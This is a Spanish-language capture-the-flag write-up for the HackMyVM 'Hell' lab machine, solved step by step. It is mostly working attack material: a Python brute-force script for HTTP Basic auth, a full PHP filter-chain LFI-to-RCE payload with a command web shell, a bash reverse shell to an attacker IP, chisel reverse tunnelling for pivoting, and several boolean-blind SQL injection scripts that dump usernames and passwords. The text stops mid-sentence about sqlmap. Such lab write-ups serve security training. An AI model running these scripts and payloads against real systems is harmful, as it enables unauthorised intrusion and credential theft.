xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackMyVM

Hell



Preparación


Iniciemos por la descarga, dependiendo la plataforma que uses para la máquina virtual es mejor descargarlo en un link u otro ya que varia alguna configuracion

  • VMWare

  • Virtual Box

  • Al descomprimir el zip nos queda el ova además de un readme.txt el cual contiene un par de instrucciones para correr los servicios antes de iniciar a vulnerar la máquina

    Iniciamos la maquina y como dicen las instrucciones iniciacmos sesión con las credenciales run:run despues de ello ejecutamos sudo run para correr los servicios, al mostrarse el mensaje Happy Hacking ;) todo deberia estar corriendo


    Flag 1

    HELL{4N0NYM0U5_15_7H3_B357_U53R}


    Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos 3 puertos abiertos, donde corren los servicios ftp, ssh y http

    ❯ nmap 192.168.100.91
    Nmap scan report for 192.168.100.91
    PORT   STATE SERVICE
    21/tcp open  ftp
    22/tcp open  ssh
    80/tcp open  http
    

    Podemos probar conectarnos a ftp como el usuario anonymous sin proporcionar ninguna contraseña, al hacerlo parece que acepta la autenticacion por defecto

    ❯ ftp 192.168.100.91
    Connected to 192.168.100.91.
    220 (vsFTPd 3.0.5)
    Name (192.168.100.91:kali): anonymous  
    331 Please specify the password.
    Password:
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp>
    

    Al listar los archivos con ls nos encontramos con un archivo flag.txt, podemos simplemente descargarlo con get, salir y leerlo este txt contiene la primera flag

    ftp> ls
    229 Entering Extended Passive Mode (|||11761|)
    150 Here comes the directory listing.
    -rw-r--r--    1 0        0             256 Feb 16 09:44 flag.txt
    226 Directory send OK.
    ftp> get flag.txt
    local: flag.txt remote: flag.txt
    229 Entering Extended Passive Mode (|||57396|)
    150 Opening BINARY mode data connection for flag.txt (256 bytes).  
    226 Transfer complete.
    256 bytes received in 00:00 (85.96 KiB/s)
    ftp> exit
    221 Goodbye.
    
    ❯ cat flag.txt
    
    ▄▀█ █▄ █ █▀█ █▄ █ █▄█ █▀▄▀█ █▀█ █ █ █▀
    █▀█ █ ▀█ █▄█ █ ▀█  █  █ ▀ █ █▄█ █▄█ ▄█
    
    Flag 1: HELL{4N0NYM0U5_15_7H3_B357_U53R}
    


    Flag 2

    HELL{BRUT3_F0RC3_M4Y_B3_4N_0P710N}


    Ademas de la flag, no nos aporta realmente nada asi que vayamos a la web, esta pide unas credenciales utilizando como metodo de autenticación el basico de apache

    Volviendo a ftp si agregamos el parametro -la para ver archivos ocultos vemos un archivo .passwd, lo descargamos con get y al leerlo nos muestra una contraseña

    ftp> ls -la
    229 Entering Extended Passive Mode (|||48280|)
    150 Here comes the directory listing.
    drwxr-xr-x    2 0        115          4096 Feb 16 09:44 .
    drwxr-xr-x    2 0        115          4096 Feb 16 09:44 ..
    -rw-r--r--    1 0        0              34 Feb 16 06:57 .passwd
    -rw-r--r--    1 0        0             256 Feb 16 09:44 flag.txt  
    226 Directory send OK.
    ftp> get .passwd
    local: .passwd remote: .passwd
    229 Entering Extended Passive Mode (|||37079|)
    150 Opening BINARY mode data connection for .passwd (34 bytes).
    226 Transfer complete.
    34 bytes received in 00:00 (12.21 KiB/s)
    ftp> exit
    221 Goodbye.
    
    ❯ cat .passwd
    
    The password is: webserver2023!
    

    Tenemos una contraseña pero no un usuario, probamos con el usuario admin pero devuelve un codigo de estado 401 Unauthorized asi que la credencial no es valida

    ❯ curl http://192.168.100.91 -u admin:webserver2023! -I  
    HTTP/1.1 401 Unauthorized
    Date: Thu, 15 Jun 2023 22:11:30 GMT
    Server: Apache/2.4.52 (Ubuntu)
    WWW-Authenticate: Basic realm="Restricted Content"
    Content-Type: text/html; charset=iso-8859-1
    

    Iniciemos con un script en python, importamos algunas librerias y definimos el target que es la url de la web, despues una barra de progreso y un contador

    #!/usr/bin/python3
    from pwn import log
    import requests, sys
    
    target = "http://192.168.100.91/"  
    
    bar = log.progress("")
    counter = 1
    

    Ahora usaremos un diccionario de nombres de seclists, iterando por cada linea de este probaremos una autenticacion con ese usuario y la contraseña que tenemos de antes, ademas de actualizar el contador y mostrar el usuario en la barra

    with open("/usr/share/seclists/Usernames/Names/names.txt") as file:
        for line in file:
            user = line.strip()
            bar.status(f"Probando usuario [{counter}/10177]: {user}")
            request = requests.get(target, auth=(user, "webserver2023!"))  
            counter += 1
    

    Ahora esperamos a que el codigo de estado de la peticion sea diferente a 401, si es asi mostramos el usuario por consola y simplemente terminamos el programa

    if request.status_code != 401:
        bar.success(f"El usuario {user} es válido")
        sys.exit(0)
    

    El script final seria el siguiente y al ejecutarlo este empezara a bruteforcear los usuarios del diccionario hasta encontrar una autenticacion valida con la contraseña

    #!/usr/bin/python3
    from pwn import log
    import requests, sys
    
    target = "http://192.168.100.91/"
    
    bar = log.progress("")
    counter = 1
    
    with open("/usr/share/seclists/Usernames/Names/names.txt") as file:
        for line in file:
            user = line.strip()
            bar.status(f"Probando usuario [{counter}/10177]: {user}")
            request = requests.get(target, auth=(user, "webserver2023!"))  
            counter += 1
    
            if request.status_code != 401:
                bar.success(f"El usuario {user} es válido")
                sys.exit(0)
    

    ❯ python3 exploit.py
    [-] Probando usuario [209/10177]: alberto  
    

    Después de un par de segundos conseguimos una autenticacion válida con beilul

    ❯ python3 exploit.py
    [+] El usuario beilul es válido  
    

    Podemos simplemente ir a la web y en el login de apache autenticarnos como el usuario beilul y como contraseña la que hemos conseguido antes en ftp

    Al hacerlo obtenemos acceso a la pagina, donde encontramos la segunda flag


    Flag 3

    HELL{LF1_F1LT7R_CH41N_G3N3R4T0R}


    Tenemos un menú donde podemos seleccionar varios perfiles, cada uno de ellos carga un html diferente, este lo gestiona mediante el parametro profile por GET

    Podemos probar un LFI y cargar el archivo /etc/passwd en el parametro profile, sin embargo al hacerlo nos bloquea y devuelve el mensaje Attack detected

    Sin embargo no está bien sanitizado, ya que con solo usar un wrapper como lo es file:// podemos cargar el /etc/passwd o cualquier archivo que queramos

    Una vulnerabilidad relativamente nueva para conseguir RCE a través de un LFI es el Filter Chain, podemos crear un payload en php que nos ejecute el comando id

    ❯ python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
    [+] The following gadget chain will generate the following code : <?php system("id"); ?> (base64 value: PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg)
    php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp  
    

    Al pasarle todo el payload creado en el LFI del parametro profile podemos ver reflejado el output del comando id que fue ejecutado por el usuario www-data

    Para mas comodidad crearemos un payload en php que ejecute con system un comando que controlaremos mediante el parametro cmd mediante el metodo GET

    ❯ python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
    [+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
    php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp  
    

    Ademas del payload en el parametro profile al final agregaremos un parametro cmd que nos enviara una shell en bash, solo urlencodeando el & que es igual a %26

    &cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.100.70/443 0>%261'  
    

    Enviamos y recibimos la shell como el usuario www-data, podemos leer la flag 3

    ❯ sudo netcat -lvnp 443
    Listening on 0.0.0.0 443
    Connection received on 192.168.100.91
    www-data@b53f32351e98:~/html$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)  
    www-data@b53f32351e98:~/html$ hostname -I
    172.17.0.2 
    www-data@b53f32351e98:~/html$ cat flag.txt 
    
    █   █▀▀ █ ▀█ █▀█ █▀▀ █▀▀
    █▄▄ █▀  █ █▄ █▀▄ █▄▄ ██▄
    
    Flag 3: HELL{LF1_F1LT7R_CH41N_G3N3R4T0R}
    
    www-data@b53f32351e98:~/html$
    


    Flag 4

    HELL{CR3D3NT14LS_1N_HTP455WD_3H?}


    Si miramos los archivos encontramos un .passwd que contiene un hash el cual pertenece a la contraseña que hemos utilizado antes para el usuario beilul

    www-data@b53f32351e98:~/html$ ls -la
    drwxr-xr-x 1 root root       4096 Feb 16 04:00 .
    drwxr-xr-x 1 root root       4096 Feb 15 19:03 ..
    -rw-r--r-- 1 root root         45 Feb 16 00:35 .htpasswd
    -rw-r--r-- 1 root root         89 Feb 15 20:38 0bfxgh0st.html
    -rw-r--r-- 1 root root     115199 Feb 15 20:34 0bfxgh0st.jpg
    -rw-r--r-- 1 root root         89 Feb 15 20:13 eddiedota.html
    -rw-r--r-- 1 root root     245390 Feb  4 20:35 eddiedota.jpg
    -r-Sr--r-- 1 root www-data    184 Feb 16 04:00 flag.txt
    -rw-r--r-- 1 root root         97 Feb 15 20:33 gatogamer1155.html  
    -rw-r--r-- 1 root root      33411 Jan 10  2022 gatogamer1155.jpg
    -rw-r--r-- 1 root root       1836 Feb 16 03:59 index.php
    -rw-r--r-- 1 root root         79 Feb 15 20:46 onyx.html
    -rw-r--r-- 1 root root     179707 Feb 15 20:45 onyx.jpg
    -rw-r--r-- 1 root root         85 Feb 16 00:32 s4vitar.html
    -rw-r--r-- 1 root root     182579 Feb 16 00:31 s4vitar.jpg
    -rw-r--r-- 1 root root         83 Feb 15 21:07 txhaka.html
    -rw-r--r-- 1 root root      33899 Jan  6 21:30 txhaka.jpg
    -rw-r--r-- 1 root root         83 Feb 15 20:39 xdann1.html
    -rw-r--r-- 1 root root     186966 Oct 21  2022 xdann1.jpg
    www-data@b53f32351e98:~/html$ cat .htpasswd
    beilul:$apr1$fLBy4Y1e$5pVNuSbmc9kil7JulXfQW0
    www-data@b53f32351e98:~/html$
    

    Al reutilizar la contraseña de la web para el usuario root esta es valida y nos convertimos en root en la 172.17.0.2, podemos leer la flag numero 4

    www-data@b53f32351e98:~$ su root
    Password: webserver2023!
    root@b53f32351e98:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@b53f32351e98:~# hostname -I
    172.17.0.2
    root@b53f32351e98:~# cat /root/flag.txt
    
    █▀█ █▀█ █▀█ ▀█▀   █▀█ █▀█   █▄ █ █▀█ ▀█▀  
    █▀▄ █▄█ █▄█  █    █▄█ █▀▄   █ ▀█ █▄█  █
    
    Flag 4: HELL{CR3D3NT14LS_1N_HTP455WD_3H?}
    
    root@b53f32351e98:~#
    


    Flag 5

    HELL{7H3_B00L34N_15_4150_4_VU1N}


    Somos root, pero estamos en la 172.17.0.2 que es un contenedor, podemos usar un binario estatico de nmap para descubrir hosts, encontramos desde la .1 a la .3

    root@b53f32351e98:~# ./nmap -sn 172.17.0.1/24 -oG -  
    Host: 172.17.0.1 ()     Status: Up
    Host: 172.17.0.3 ()     Status: Up
    Host: 172.17.0.2 ()     Status: Up
    root@b53f32351e98:~#
    

    Ahora escaneamos los puertos de cada uno de los hosts que encontramos activos

    root@b53f32351e98:~# ./nmap 172.17.0.1-3  
    Nmap scan report for 172.17.0.1
    PORT   STATE SERVICE
    21/tcp open  ftp
    22/tcp open  ssh
    80/tcp open  http
    
    Nmap scan report for 172.17.0.2
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.3
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    root@b53f32351e98:~#
    

    Encontramos varios puertos en los hosts, asi que analizemos nuestra situación actual

    172.17.0.1:   - Es la máquina real con la interfaz docker
      - Ya explotamos el servicio ftp y http
      - No tenemos credenciales para conectarnos a ssh
    
    172.17.0.2:   - Es la máquina donde estamos actualmente
      - Somos root, no tiene sentido seguir buscando
    
    172.17.0.3:   - No lo hemos tocado para nada, tiraremos por ahi  
    

    Nuestro objetivo sera el host .3, como solo son 2 puertos un proxy no es necesario asi que con chisel solo nos pasaremos el puerto 22 y 80 a nuestro localhost

    root@b53f32351e98:~# ./chisel client 192.168.100.70:9999 R:22:172.17.0.3:22 R:80:172.17.0.3:80 &  
    [1] 503
    root@b53f32351e98:~#
    

    ❯ chisel server --reverse --port 9999
    server: Reverse tunnelling enabled
    server: Listening on http://0.0.0.0:9999
    server: session#1: tun: proxy#R:22=>172.17.0.3:22: Listening
    server: session#1: tun: proxy#R:80=>172.17.0.3:80: Listening  
    

    Si ahora visitamos la página web en nuestro localhost podemos ver la página de la 172.17.0.3 la cual nos dice que se detecto una vulnerabilidad asi que se modifico la aplicacion para que solo muestre si la query se ejecuto ocultando lo demas

    Usando wfuzz para descubrir directorios nos encontramos con la ruta /admin

    ❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://localhost/FUZZ --hc 404 -t 100  
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************
    
    Target: http://localhost/FUZZ
    Total requests: 30000
    
    =====================================================================
    ID           Response   Lines    Word       Chars       Payload
    =====================================================================
    
    000000003:   301        9 L      28 W       306 Ch      "admin"
    

    La página es muy sencilla, simplemente recibe un id de usuario y lo procesa en una query, si se procesa correctamente devuelve el mensaje Query was successfully

    Si enviamos como id un 1 recibimos el mensaje, si a este le agregamos una ' dejamos de ver el mensaje, significa que la query sql no se procesa correctamente

    1    |   'Query was successfully'  
    1'   |   ''
    

    Podemos basarnos en ese estado booleano para hacer una comparacion, en este caso comparamos el primer caracter de la consulta database() con los caracteres a y e, al hacerlo con a no devuelve nada, sin embargo al hacerlo con e vemos el mensaje, esto quiere decir que la primera letra de la base de datos en uso es e

    1' and (select substr(database(),1,1))='a'-- -  |  ''
    1' and (select substr(database(),1,1))='e'-- -  |  'Query was successfully'  
    

    Aplicando esta logica podemos crear un script que itere por caracteres y signos sobre cada una de las posiciones de una query sql que muestre las bases de datos existentes, si en la respuesta vemos el mensaje significa que el caracter es correcto

    #!/usr/bin/python3
    from pwn import log
    import string, requests
    
    characters = string.ascii_lowercase + string.punctuation
    
    bar = log.progress("Databases")
    
    value = ""
    
    for db in range(0,5):
        value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
        for position in range(0,20):
            for character in characters:
                request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr(schema_name,{position},1) from information_schema.schemata limit {db},1)='{character}'-- -")  
                if "Query was successfully" in request.text:
                    value += character
                    bar.status(value)
    
    bar.success(value)
    

    Al ejecutarlo podemos ver que los caracteres #&+ son falsos positivos asi que los quitamos del script utilizando la función replace remplazarlos por nada

    ❯ python3 exploit.py
    [|] Databases:
        [*] #&+information  
    

    characters = string.ascii_lowercase + string.punctuation  
    characters = characters.replace("#", "")
    characters = characters.replace("&", "")
    characters = characters.replace("+", "")
    

    Lo ejecutamos de nuevo y logramos enumerar 3 bases de datos existentes de las cuales la que mas llama la atención es creds que puede contener credenciales

    ❯ python3 exploit.py
    [+] Databases:
        [*] information_schema  
        [*] creds
        [*] example
    

    Modificamos un poco el script esta vez para poder enumerar todas las tablas existentes especificamente en la base de datos creds

    #!/usr/bin/python3
    from pwn import log
    import string, requests
    
    characters = string.ascii_lowercase + string.punctuation
    characters = characters.replace("#", "")
    characters = characters.replace("&", "")
    characters = characters.replace("+", "")
    
    bar = log.progress("Tables")
    
    value = ""
    
    for table in range(0,5):
        value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
        for position in range(0,20):
            for character in characters:
                request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr(table_name,{position},1) from information_schema.tables where table_schema='creds' limit {table},1)='{character}'-- -")  
                if "Query was successfully" in request.text:
                    value += character
                    bar.status(value)
    
    bar.success(value)
    

    Al ejecutarlo solo encontramos una tabla que es users en la base de datos creds

    ❯ python3 exploit.py  
    [+] Tables:
        [*] users
    

    Volvemos a modificar el script ahora para enumerar todas las columnas existentes espeficicamente de la tabla users que es parte de la base de datos creds

    #!/usr/bin/python3
    from pwn import log
    import string, requests
    
    characters = string.ascii_lowercase + string.punctuation
    characters = characters.replace("#", "")
    characters = characters.replace("&", "")
    characters = characters.replace("+", "")
    
    bar = log.progress("Columns")
    
    value = ""
    
    for column in range(0,5):
        value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
        for position in range(0,20):
            for character in characters:
                request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr(column_name,{position},1) from information_schema.columns where table_schema='creds' and table_name='users' limit {column},1)='{character}'-- -")  
                if "Query was successfully" in request.text:
                    value += character
                    bar.status(value)
    
    bar.success(value)
    

    Al ejecutarlo nos encontramos con solo 2 columnas que son username y password

    ❯ python3 exploit.py  
    [+] Columns:
        [*] username
        [*] password
    

    Creamos una lista con las columnas e iteramos por cada una de ellas para dumpear sus datos, ademas agregamos digitos ya que las contraseñas puede que los tengan

    #!/usr/bin/python3
    from pwn import log
    import string, requests
    
    characters = string.ascii_lowercase + string.punctuation + string.digits
    characters = characters.replace("#", "")
    characters = characters.replace("&", "")
    characters = characters.replace("+", "")
    
    columns = ["username", "password"]
    
    for column in columns:
        print("\r")
        bar = log.progress(f"Dumpeando columna {column}")
        value = ""
    
        for dump in range(0,5):
            value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
            for position in range(0,20):
                for character in characters:
                    request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr({column},{position},1) from creds.users limit {dump},1)='{character}'-- -")  
                    if "Query was successfully" in request.text:
                        value += character
                        bar.status(value)
    
        bar.success(value)
    

    Ejecutamos el script y logramos dumpear un total de 3 usuarios y 3 contraseñas

    ❯ python3 exploit.py
    [+] Dumpeando columna username:  
        [*] txhaka
        [*] root
        [*] marco
    
    [+] Dumpeando columna password:  
        [*] iamoswe2023!
        [*] superrootpassword
        [*] beltran48
    

    Esa fue la forma manual aunque realmente podemos usar sqlmap para explotar la sqli, iniciamos con un -dbs para listar todas las bases de datos existentes

